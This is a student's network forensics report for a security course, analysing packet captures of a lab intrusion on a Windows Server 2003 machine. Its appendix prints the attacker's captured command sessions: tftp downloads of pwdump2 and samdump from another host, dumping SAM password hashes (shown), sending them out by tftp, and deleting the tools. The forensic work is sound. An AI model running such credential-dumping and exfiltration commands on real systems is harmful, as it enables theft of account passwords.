

Traffic Analysis Investigative Report

For: CSIA 6250

Prepared by:

Joshua Hesch

2/7/2021

Table of Contents

Table of Figures	3
Executive Summary	4
Investigation Details	4
Conclusion	5
References.....	6
Appendix.....	7

Table of Figures

1 Start of Attack	7
2 pwdump2.....	7
3 pwdump2, samdump, l.txt.....	8
4pwdump2, samdump, l.txt	8
5 pwdump2, samdump, l.txt.....	9
6 pwdump2, samdump, l.txt.....	9
7 pwdump2, samdump, l.txt.....	10
8 pwdump2, samdump, l.txt.....	10
9 Buffer Overrun in RPCSS.....	11
10 Failed LSASS vulnerability	11
12 SMB Failed.....	12
11 10.0.7.50 Port Scan	12

Executive Summary

The compromise that was investigated happened on November 21, 2015 at 9:03 AM MST. This compromise took place within the network that was compromised. The compromise started with the intruder performing scans looking for a way to get on the computer that was compromised. The compromise started on the computer with the IP address 10.0.7.54 running Linux. This was determined by looking at the time to live which was 64. This is consistent with Linux. The attack failed with the IP address 10.0.7.54.

The intruder was successful in the attack with IP address 10.0.7.50. The computer compromised had an IP address of 10.210.210.210 running Windows server 2003. The intruder transferred files onto the computer used to extract passwords. The files used to extract passwords in the compromise were pwdump2.exe and samdump.dll. The intruder was able to extract password hashes to the file l.txt. The intruder then exported the file to 10.0.7.50. The intruder deleted the files that were used in the compromise when the attack was finished.

It is the recommendation to use an internal firewall. Firewalls can lead the attacker to empty hosts and/or honey pots. This can make the attackers job a lot harder and provide a bigger window for them to be caught. Also, all ports that are not necessary should be closed. Finally, this attack could have been avoided using a patch from Microsoft, security bulletin MS03-039. It is recommended to keep all devices on the network updated.

Investigation Details

This investigation was conducted by examining pcap files in Wireshark version 3.4.3. The files examined were hack_analysis.pcap and hack_analysis_b_capture.pcap. The files were examined on a Microsoft Surface laptop 3 running Windows 10 home. The following Wireshark filter was used to isolate the attack traffic 'not(tcp.port==80) and not(tcp.port==389) and not(udp.srcport==137 and udp.dstport==137) and not(arp)'.

The examination started with viewing hack_analysis.pcap in Wireshark. The attack started on November 21, 2015 at 9:03 AM MST. This was determined by looking at the first packet in the attack from 10.0.7.54 to 10.210.210.210. The intruder began performing a stealth port scan on 10.210.210.210 running Windows Server 2003. This was determined because open ports sequence was SYN, SYN/ACK, RST and closed port sequence was SYN, RST/ACK. Port Scan ran from packet number 20 – 2026. Port 21 was protected by tls-auth. The intruder failed to gain access to 10.210.210.210 via SMB protocol. The intruder began scanning ports from 10.0.7.50 to 10.210.210.210. Port scan ran from packet number 2193 – 4200. The intruder tried to gain access through LSASS vulnerability via buffer overrun. This vulnerability attack was not successful. The intruder gained entry to 10.210.210.210 via buffer overrun in RPCSS service. The intruder used trivial file transfer protocol to transfer pwdump2.exe to 10.210.210.210. The file is used to extract password hashes for user accounts. The above items were found by using the

analyze – follow feature in Wireshark and following each stream. This concluded examining the file `hack_analysis.pcap`.

The second file that was examined was `hack_analysis_b_capture.pcap`. This file was examined in Wireshark. The intruder transferred `samdump.dll` to assist in exporting the user passwords. The intruder extracted the password hashes to the file `l.txt` via `pwdump2.exe`. The intruder copied the file to 10.0.7.50 via trivial file transfer protocol. The intruder then deleted the following files `pwdump2.exe`, `samdump.dll`, and `l.txt`. The attack was concluded after the deletion of the files. The above items were found by using the analyze – follow feature in Wireshark and following each stream.

Conclusion

In conclusion, this attack was successful using the vulnerability located in Microsoft Security Bulletin MS03-039. This vulnerability was labeled as critical by Microsoft for Windows Server 2003. The skill level of the attack is believed to be a medium level on a scale of low, medium, and high. This determination was made because the attack was successful, however if the attacker had more experience than they would not have tried to use the LSASS vulnerability. This vulnerability is labeled as low for Windows Server 2003.

References

Chandel, R. (2017, August 20). *Understanding Nmap scan with wireshark*. Hacking Articles.
<https://www.hackingarticles.in/understanding-nmap-scan-wireshark/>

Microsoft. (2004, August 10). *Microsoft security bulletin MS04-011 – Critical*.
<https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2004/ms04-011?redirectedfrom=MSDN>

Microsoft. (2003, September 10). *Microsoft security bulletin MS03-039- Critical*.
<https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2003/ms03-039?redirectedfrom=MSDN>

opadmin. (2019, May 9). *Everything you need to know about port scan attack*. Open Port.
<https://openport.net/everything-you-need-to-know-about-port-scan-attack/>

Appendix

1 Start of Attack

Wireshark packet capture showing the start of an attack. The filter is `not(tcp.port==80) and not(tcp.port==389) and not(udp.srport==137 and udp.dstport==137) and not(arp)`. The packet list shows a series of STP and BROWSER messages, followed by a TCP SYN flood attack from 10.0.7.54 to 10.210.210.210 on port 443.

No.	Time	Source	Destination	Destination Port	Protocol	Length	Info
1	0.000000	Cisco_63:0f:f9	PVST+		STP	64	RST. Root = 8192/315/b4:14:89:60:2f:00 Cost = 2 Port = 0x84aa
2	1.257683	10.0.6.13	10.255.255.255		BROWSER	243	Host Announcement AMY-TARGET, Workstation, Server, Domain Contr
3	2.004928	Cisco_63:0f:f9	PVST+		STP	64	RST. Root = 8192/315/b4:14:89:60:2f:00 Cost = 2 Port = 0x84aa
4	4.005112	Cisco_63:0f:f9	PVST+		STP	64	RST. Root = 8192/315/b4:14:89:60:2f:00 Cost = 2 Port = 0x84aa
7	6.000855	Cisco_63:0f:f9	PVST+		STP	64	RST. Root = 8192/315/b4:14:89:60:2f:00 Cost = 2 Port = 0x84aa
12	8.012821	Cisco_63:0f:f9	PVST+		STP	64	RST. Root = 8192/315/b4:14:89:60:2f:00 Cost = 2 Port = 0x84aa
20	9.803461	10.0.7.54	10.210.210.210	1723	TCP	60	57964 → 1723 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
21	9.803485	10.210.210.210	10.0.7.54	57964	TCP	54	1723 → 57964 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
22	9.803503	10.0.7.54	10.210.210.210	443	TCP	60	57964 → 443 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
23	9.803517	10.210.210.210	10.0.7.54	57964	TCP	54	443 → 57964 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
24	9.803526	10.0.7.54	10.210.210.210	135	TCP	60	57964 → 135 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
25	9.803556	10.210.210.210	10.0.7.54	57964	TCP	58	135 → 57964 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
28	9.803590	10.0.7.54	10.210.210.210	113	TCP	60	57964 → 113 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
29	9.803604	10.210.210.210	10.0.7.54	57964	TCP	54	113 → 57964 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
30	9.803613	10.0.7.54	10.210.210.210	111	TCP	60	57964 → 111 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
31	9.803632	10.210.210.210	10.0.7.54	42064	TCP	54	111 → 42064 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

Frame 20: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
 Encapsulation type: Ethernet (1)
 Arrival Time: Nov 21, 2015 09:03:03.513545000 Mountain Standard Time
 [Time shift for this packet: 0.000000000 seconds]
 Epoch Time: 1448121783.513545000 seconds
 [Time delta from previous captured frame: 0.000214000 seconds]
 [Time delta from previous displayed frame: 1.790640000 seconds]
 [Time since reference or first frame: 9.803461000 seconds]
 Frame Number: 20
 Frame Length: 60 bytes (480 bits)
 Capture Length: 60 bytes (480 bits)
 [Frame is marked: False]
 [Frame is ignored: False]
 [Protocols in frame: eth:ethertype:ip:tcp]
 [Coloring Rule Name: TCP SYN/FIN]
 [Coloring Rule String: tcp.flags & 0x02 || tcp.flags.fin == 1]
 > Ethernet II, Src: VMware_b3:67:31 (00:50:56:b3:67:31), Dst: VMware_b3:69:60 (00:50:56:b3:69:60)
 > Internet Protocol Version 4, Src: 10.0.7.54, Dst: 10.210.210.210

2 pwdump2

Wireshark packet capture showing the execution of a command to download a file. The packet list shows a series of commands being executed in a Windows command prompt, including `cd ..`, `cd tools`, `dir`, and `tftp -i 10.0.7.50 get pwdump2.exe`.

```
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>cd ..
cd ..

C:\WINDOWS>cd ..
cd ..

C:\>cd tools
cd tools

C:\tools>dir
dir
Volume in drive C has no label.
Volume Serial Number is DC07-0EB3

Directory of C:\tools

11/19/2015  12:38 PM  <DIR>          .
11/19/2015  12:38 PM  <DIR>          ..
01/09/2007  05:11 PM             489,678  nbtscan1_5_1.zip
09/26/2011  03:40 PM      12,057,996  Nessus-4[2].4.1-i386.msi
09/16/2014  08:57 AM      1,844,806  spade114.exe
09/30/2014  03:55 PM  <DIR>          SpiderFoot-2.2.0-w32
09/30/2010  10:02 AM      18,827,151  wireshark-win32-1.4.0.exe
09/01/2011  10:03 AM      15,623,433  zenmap-5.21-setup.exe
             5 File(s)      48,843,064 bytes
             3 Dir(s)      6,532,820,992 bytes free

C:\tools>tftp -i 10.0.7.50 get pwdump2.exe
tftp -i 10.0.7.50 get pwdump2.exe
Transfer successful: 32768 bytes in 1 second, 32768 bytes/s

C:\tools>
```

34 client pkts, 5 server pkts, 10 turns.
 Entire conversation (979 bytes) Show data as ASCII Stream 2015
 Find: Find Next
 Filter Out This Stream Print Save as... Back Close Help

3 *pwdump2, samdump, l.txt*

```

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>cd ..
cd ..

C:\WINDOWS>cd ..
cd ..

C:\>cd tools
cd tools

C:\tools>tftp -i 10.0.7.50 get samdump.dll
tftp -i 10.0.7.50 get samdump.dll
Transfer successful: 36864 bytes in 1 second, 36864 bytes/s

C:\tools>pwdump2.exe l.txt
pwdump2.exe l.txt

Pwdump2 - dump the SAM database.
Usage: pwdump2.exe <pid of lsass.exe>

C:\tools>net use x: \\10.0.0.99\classshare student novell
net use x: \\10.0.0.99\classshare student novell
The syntax of this command is:

NET USE
[deviceName | *] [[computerName\shareName[\volume] [password | *]]
[/USER:[domainName\]username]
[/USER:[dotted domain name\]username]
[/USER:[username@dotted domain name]
[/SMARTCARD]
[/SAVECRED]
[/DELETE] | [/PERSISTENT:{YES | NO}]]

119 client pkts, 18 server pkts, 36 turns.
Entire conversation (4287 bytes) Show data as ASCII Stream 1
Find: Find Next
Filter Out This Stream Print Save as... Back Close Help

```

4 *pwdump2, samdump, l.txt*

```

NET USE {deviceName | *} [password | *] /HOME
NET USE [/PERSISTENT:{YES | NO}]

C:\tools>net use x: \\10.0.0.99\classshare /user student novell
net use x: \\10.0.0.99\classshare /user student novell
You used an option with an invalid value.

The syntax of this command is:

NET USE
[deviceName | *} [[computerName\shareName[\volume] [password | *]]
[/USER:[domainName\]username]
[/USER:[dotted domain name\]username]
[/USER:[username@dotted domain name]
[/SMARTCARD]
[/SAVECRED]
[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE {deviceName | *} [password | *] /HOME
NET USE [/PERSISTENT:{YES | NO}]

More help is available by typing NET HELPMSG 3505.

C:\tools>tftp -i 10.0.7.50 put l.txt
tftp -i 10.0.7.50 put l.txt
tftp: can't read from local file 'l.txt'

119 client pkts, 18 server pkts, 36 turns.
Entire conversation (4287 bytes) Show data as ASCII Stream 1
Find: Find Next
Filter Out This Stream Print Save as... Back Close Help

```


5 *pwdump2, samdump, l.txt*

Wireshark - Follow TCP Stream (tcp.stream eq 1) - hack_analysis_b_capture.pcap

```

C:\tools>dir
dir
Volume in drive C has no label.
Volume Serial Number is DC07-0EB3

Directory of C:\tools

11/21/2015  09:21 AM  <DIR>          .
11/21/2015  09:21 AM  <DIR>          ..
01/09/2007  05:11 PM           489,678  nbtscan1_5_1.zip
09/26/2011  03:40 PM       12,057,996  Nessus-4[2].4.1-i386.msi
11/21/2015  09:05 AM           32,768  pwdump2.exe
11/21/2015  09:21 AM           36,864  samdump.dll
09/16/2014  08:57 AM       1,844,806  spade114.exe
09/30/2014  03:55 PM  <DIR>          SpiderFoot-2.2.0-w32
09/30/2010  10:02 AM       18,827,151  wireshark-win32-1.4.0.exe
09/01/2011  10:03 AM       15,623,433  zenmap-5.21-setup.exe
              7 File(s)      48,912,696 bytes
              3 Dir(s)      6,531,624,960 bytes free

C:\tools>pwdump2.exe l.txt
pwdump2.exe l.txt

Pwdump2 - dump the SAM database.
Usage: pwdump2.exe <pid of lsass.exe>

C:\tools>pwdump2.exe
pwdump2.exe
Administrator:500:bdde9b691d259078af1b067e77cec994:e7c816b18ef2dda8d552344fb1f66376:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Insider:1003:ac028d22f8101e30aad3b435b51404ee:516a93e15483020051bfbe82f0233617:::
TUSR_SECUREDAPT:1004:a6d988c00fa0077f1dff66dd5e640ca5:58ca2253a3608523bc906159e1c40251:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:149975fd59e1fb830cdc571db826f262:::

C:\tools>pwdump2.exe > l.txt

```

119 client pkts, 18 server pkts, 36 turns.
 Entire conversation (4287 bytes) Show data as ASCII Stream 1

Find: Find Next

Filter Out This Stream Print Save as... Back Close Help

6 *pwdump2, samdump, l.txt*

Wireshark - Follow TCP Stream (tcp.stream eq 1) - hack_analysis_b_capture.pcap

```

C:\tools>dir
dir
Volume in drive C has no label.
Volume Serial Number is DC07-0EB3

Directory of C:\tools

11/21/2015  09:21 AM  <DIR>          .
11/21/2015  09:21 AM  <DIR>          ..
01/09/2007  05:11 PM           489,678  nbtscan1_5_1.zip
09/26/2011  03:40 PM       12,057,996  Nessus-4[2].4.1-i386.msi
11/21/2015  09:05 AM           32,768  pwdump2.exe
11/21/2015  09:21 AM           36,864  samdump.dll
09/16/2014  08:57 AM       1,844,806  spade114.exe
09/30/2014  03:55 PM  <DIR>          SpiderFoot-2.2.0-w32
09/30/2010  10:02 AM       18,827,151  wireshark-win32-1.4.0.exe
09/01/2011  10:03 AM       15,623,433  zenmap-5.21-setup.exe
              7 File(s)      48,912,696 bytes
              3 Dir(s)      6,531,624,960 bytes free

C:\tools>pwdump2.exe l.txt
pwdump2.exe l.txt

Pwdump2 - dump the SAM database.
Usage: pwdump2.exe <pid of lsass.exe>

C:\tools>pwdump2.exe
pwdump2.exe
Administrator:500:bdde9b691d259078af1b067e77cec994:e7c816b18ef2dda8d552344fb1f66376:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Insider:1003:ac028d22f8101e30aad3b435b51404ee:516a93e15483020051bfbe82f0233617:::
TUSR_SECUREDAPT:1004:a6d988c00fa0077f1dff66dd5e640ca5:58ca2253a3608523bc906159e1c40251:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:149975fd59e1fb830cdc571db826f262:::

C:\tools>pwdump2.exe > l.txt

```

119 client pkts, 18 server pkts, 36 turns.
 Entire conversation (4287 bytes) Show data as ASCII Stream 1

Find: Find Next

Filter Out This Stream Print Save as... Back Close Help

7 *pwdump2, samdump, l.txt*

Wireshark - Follow TCP Stream (tcp.stream eq 1) - hack_analysis_b_capture.pcap

```

C:\tools>pwdump2.exe > l.txt
pwdump2.exe > l.txt

C:\tools>tftp -i 10.0.7.50 put l.txt
tftp -i 10.0.7.50 put l.txt
Transfer successful: 434 bytes in 1 second, 434 bytes/s

C:\tools>dir
dir
Volume in drive C has no label.
Volume Serial Number is DC07-0EB3

Directory of C:\tools

11/21/2015  09:24 AM  <DIR>          .
11/21/2015  09:24 AM  <DIR>          ..
11/21/2015  09:24 AM                434  l.txt
01/09/2007  05:11 PM          489,678  nbtscan1_5_1.zip
09/26/2011  03:40 PM    12,057,996  Nessus-4[2].4.1-i386.msi
11/21/2015  09:05 AM          32,768  pwdump2.exe
11/21/2015  09:21 AM          36,864  samdump.dll
09/16/2014  08:57 AM    1,844,806  spade114.exe
09/30/2014  03:55 PM  <DIR>          SpiderFoot-2.2.0-w32
09/30/2010  10:02 AM    18,827,151  wireshark-win32-1.4.0.exe
09/01/2011  10:03 AM    15,623,433  zenmap-5.21-setup.exe
            8 File(s)      48,913,130 bytes
            3 Dir(s)      6,531,559,424 bytes free

C:\tools>del pwdump2.exe
del pwdump2.exe
C:\tools\pwdump2.exe
Access is denied.

C:\tools>del /F pwdump2.exe

```

119 client pkts, 18 server pkts, 36 turns.

Entire conversation (4287 bytes) Show data as ASCII Stream 1

Find: Find Next

Filter Out This Stream Print Save as... Back Close Help

8 *pwdump2, samdump, l.txt*

Wireshark - Follow TCP Stream (tcp.stream eq 1) - hack_analysis_b_capture.pcap

```

dir
Volume in drive C has no label.
Volume Serial Number is DC07-0EB3

Directory of C:\tools

11/21/2015  09:24 AM  <DIR>          .
11/21/2015  09:24 AM  <DIR>          ..
11/21/2015  09:24 AM                434  l.txt
01/09/2007  05:11 PM          489,678  nbtscan1_5_1.zip
09/26/2011  03:40 PM    12,057,996  Nessus-4[2].4.1-i386.msi
11/21/2015  09:05 AM          32,768  pwdump2.exe
11/21/2015  09:21 AM          36,864  samdump.dll
09/16/2014  08:57 AM    1,844,806  spade114.exe
09/30/2014  03:55 PM  <DIR>          SpiderFoot-2.2.0-w32
09/30/2010  10:02 AM    18,827,151  wireshark-win32-1.4.0.exe
09/01/2011  10:03 AM    15,623,433  zenmap-5.21-setup.exe
            8 File(s)      48,913,130 bytes
            3 Dir(s)      6,531,559,424 bytes free

C:\tools>del pwdump2.exe
del pwdump2.exe
C:\tools\pwdump2.exe
Access is denied.

C:\tools>del /F pwdump2.exe
del /F pwdump2.exe

C:\tools>del /F samdump.dll
del /F samdump.dll

C:\tools>del l.txt
del l.txt

C:\tools>

```

119 client pkts, 18 server pkts, 36 turns.

Entire conversation (4287 bytes) Show data as ASCII Stream 1

Find: Find Next

Filter Out This Stream Print Save as... Back Close Help



11 SMB Failed

hack_analysis.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

not(tcp.port==80) and not(tcp.port==389) and not(udp.srcport==137 and udp.dstport==137) and not(arp)

No.	Time	Source	SRC Port	Destination	DST Port	Protocol	Length	Info
2140	9.967721	10.210.210.210	445	10.0.7.54	55079	SMB	155	Negotiate Protocol Response
2141	9.968672	10.0.7.54	55079	10.210.210.210	445	TCP	66	55079 → 445 [ACK] Seq=54 Ack=90 Win=29696 Len=0 TSval=4
2142	9.968678	10.0.7.54	55079	10.210.210.210	445	SMB	181	Session Setup AndX Request, NTLMSSP_NEGOTIATE
2143	9.968786	10.210.210.210	445	10.0.7.54	55079	SMB	338	Session Setup AndX Response, NTLMSSP_CHALLENGE, Error:
2144	9.969094	10.0.7.54	55079	10.210.210.210	445	SMB	238	Session Setup AndX Request, NTLMSSP_AUTH, User: \
2145	9.969340	10.210.210.210	445	10.0.7.54	55079	SMB	162	Session Setup AndX Response
2146	9.969546	10.0.7.54	55079	10.210.210.210	445	SMB	124	Tree Connect AndX Request, Path: IPC\$
2147	9.969624	10.210.210.210	445	10.0.7.54	55079	SMB	116	Tree Connect AndX Response
2148	9.969828	10.0.7.54	55079	10.210.210.210	445	SMB	181	NT Create AndX Request, Path: \\MSQL\$SQLXEXPRESS\sql\que
2149	9.969874	10.210.210.210	445	10.0.7.54	55079	SMB	105	NT Create AndX Response, FID: 0x0000, Error: STATUS_ACC
2150	9.970059	10.0.7.54	55079	10.210.210.210	445	SMB	105	Tree Disconnect Request
2151	9.970099	10.210.210.210	445	10.0.7.54	55079	SMB	105	Tree Disconnect Response
2152	9.970283	10.0.7.54	55079	10.210.210.210	445	SMB	109	Logoff AndX Request
2153	9.970323	10.210.210.210	445	10.0.7.54	55079	SMB	109	Logoff AndX Response
2154	9.970508	10.0.7.54	55079	10.210.210.210	445	TCP	66	55079 → 445 [FIN, ACK] Seq=596 Ack=629 Win=30720 Len=0
2155	9.970548	10.210.210.210	445	10.0.7.54	55079	TCP	66	445 → 55079 [FIN, ACK] Seq=629 Ack=597 Win=63645 Len=0

[Frame is ignored: False]
[Protocols in frame: eth:ethertype:ip:tcp:nbss:smb:ntlmssp]
[Coloring Rule Name: SMB]
[Coloring Rule String: smb || nbss || nbns || netbios]

> Ethernet II, Src: VMware_b3:67:31 (00:50:56:b3:67:31), Dst: VMware_b3:69:60 (00:50:56:b3:69:60)
> Internet Protocol Version 4, Src: 10.0.7.54, Dst: 10.210.210.210
> Transmission Control Protocol, Src Port: 55080, Dst Port: 445, Seq: 169, Ack: 362, Len: 172

0000 00 50 56 b3 69 60 00 50 56 b3 67 31 08 00 45 00 PV-1 P V g1 6
0010 00 00 3e a3 40 00 00 0c 9d 0a 00 07 36 0a d2 00
0020 00 10 78 48 00 00 01 01 00 0a ff ff b5 c0 00 16 00
0030 00 10 78 48 00 00 01 01 00 0a ff ff b5 c0 00 16 00
0040 ed 4d 00 00 00 a8 ff 53 4d 42 73 00 00 00 00 18 M.....S MBs.....
0050 45 68 00 00 00 00 00 00 00 00 00 00 00 00 00 Eh.....
0060 db 15 00 00 01 00 0c ff 00 a8 00 ff ff 01 00 01V.....P.....m
0070 00 00 00 00 59 00 00 00 00 50 00 00 00 00 0dNTLMSSP.....
0080 00 4e 54 4c 4d 53 53 50 00 03 00 00 01 00 01I.....
0090 00 48 00 00 00 00 00 00 00 49 00 00 00 00 00I.....
00a0 00 40 00 00 00 00 00 00 40 00 00 00 00 00@.....
00b0 00 40 00 00 00 10 00 10 00 49 00 00 00 15 82 00@.....

Internet Protocol Version 4 (IP), 20 bytes

Packets: 5011 · Displayed: 4670 (93.2%) Profile: Default

12 10.0.7.50 Port Scan

hack_analysis.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

not(tcp.port==80) and not(tcp.port==389) and not(udp.srcport==137 and udp.dstport==137) and not(arp)

No.	Time	Source	SRC Port	Destination	DST Port	Protocol	Length	Info
2177	9.973419	10.0.7.54	55080	10.210.210.210	445	TCP	66	55080 → 445 [ACK] Seq=596 Ack=630 Win=30720 Len=0 TSval=4
2178	10.029939	Cisco_63:0f:f9		PVST+		STP	64	RST, Root = 8192/315/b4:14:89:60:2f:00 Cost = 2 Port
2179	10.343553	10.0.0.111	138	10.255.255.255		BROWSER	243	Host Announcement ELC306-11, Workstation, Server, NT Wo
2184	12.031918	Cisco_63:0f:f9		PVST+		STP	64	RST, Root = 8192/315/b4:14:89:60:2f:00 Cost = 2 Port
2187	14.035383	Cisco_63:0f:f9		PVST+		STP	64	RST, Root = 8192/315/b4:14:89:60:2f:00 Cost = 2 Port
2193	14.372399	10.0.7.50	41016	10.210.210.210	554	TCP	60	41016 → 554 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
2194	14.372430	10.210.210.210	554	10.0.7.50	41016	TCP	54	554 → 41016 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
2195	14.372441	10.0.7.50	41016	10.210.210.210	256	TCP	60	41016 → 256 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
2196	14.372456	10.210.210.210	256	10.0.7.50	41016	TCP	54	256 → 41016 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
2197	14.372464	10.0.7.50	41016	10.210.210.210	22	TCP	60	41016 → 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
2198	14.372478	10.210.210.210	22	10.0.7.50	41016	TCP	54	22 → 41016 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
2199	14.372487	10.0.7.50	41016	10.210.210.210	3306	TCP	60	41016 → 3306 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
2200	14.372500	10.210.210.210	3306	10.0.7.50	41016	TCP	54	3306 → 41016 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
2201	14.372508	10.0.7.50	41016	10.210.210.210	1025	TCP	60	41016 → 1025 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
2202	14.372539	10.210.210.210	1025	10.0.7.50	41016	TCP	58	1025 → 41016 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS
2203	14.372560	10.0.7.50	41016	10.210.210.210	445	TCP	60	41016 → 445 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

[Frame is ignored: False]
[Protocols in frame: eth:ethertype:ip:udp:tftp:data]
[Coloring Rule Name: UDP]
[Coloring Rule String: udp]

> Ethernet II, Src: VMware_b3:6f:a3 (00:50:56:b3:6f:a3), Dst: VMware_b3:69:60 (00:50:56:b3:69:60)
> Internet Protocol Version 4, Src: 10.0.7.50, Dst: 10.210.210.210
> User Datagram Protocol, Src Port: 37776, Dst Port: 1378

0000 00 50 56 b3 69 60 00 50 56 b3 6f a3 08 00 45 00 PV-1 P V o 18 2
0010 02 20 dd d0 40 00 11 6c 26 0a 00 07 32 0a d2 00
0020 d2 d2 93 90 05 62 02 0c c6 14 0a 03 00 3e 41 feb.....S
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[.....
0040 45 a2 48 a2 1b 00 00 00 00 00 00 00 00 00 00[.....
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00Q.....
0060 a1 fe 00 00 00 00 51 05 00 00 51 da 5e da 20 00-2.....
0070 5f da 6a da 32 00 00 00 00 00 00 00 00 00 00-1-
0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00-1-
0090 31 fe 00 00 00 00 01 00 00 00 16 00 00 00 02 00-1-
00a0 00 00 02 00 00 03 00 00 00 02 00 00 00 04 00-1-
00b0 00 00 18 00 00 05 00 00 00 00 00 00 00 06 00-1-

Internet Protocol Version 4 (IP), 20 bytes

Packets: 5011 · Displayed: 4670 (93.2%) Profile: Default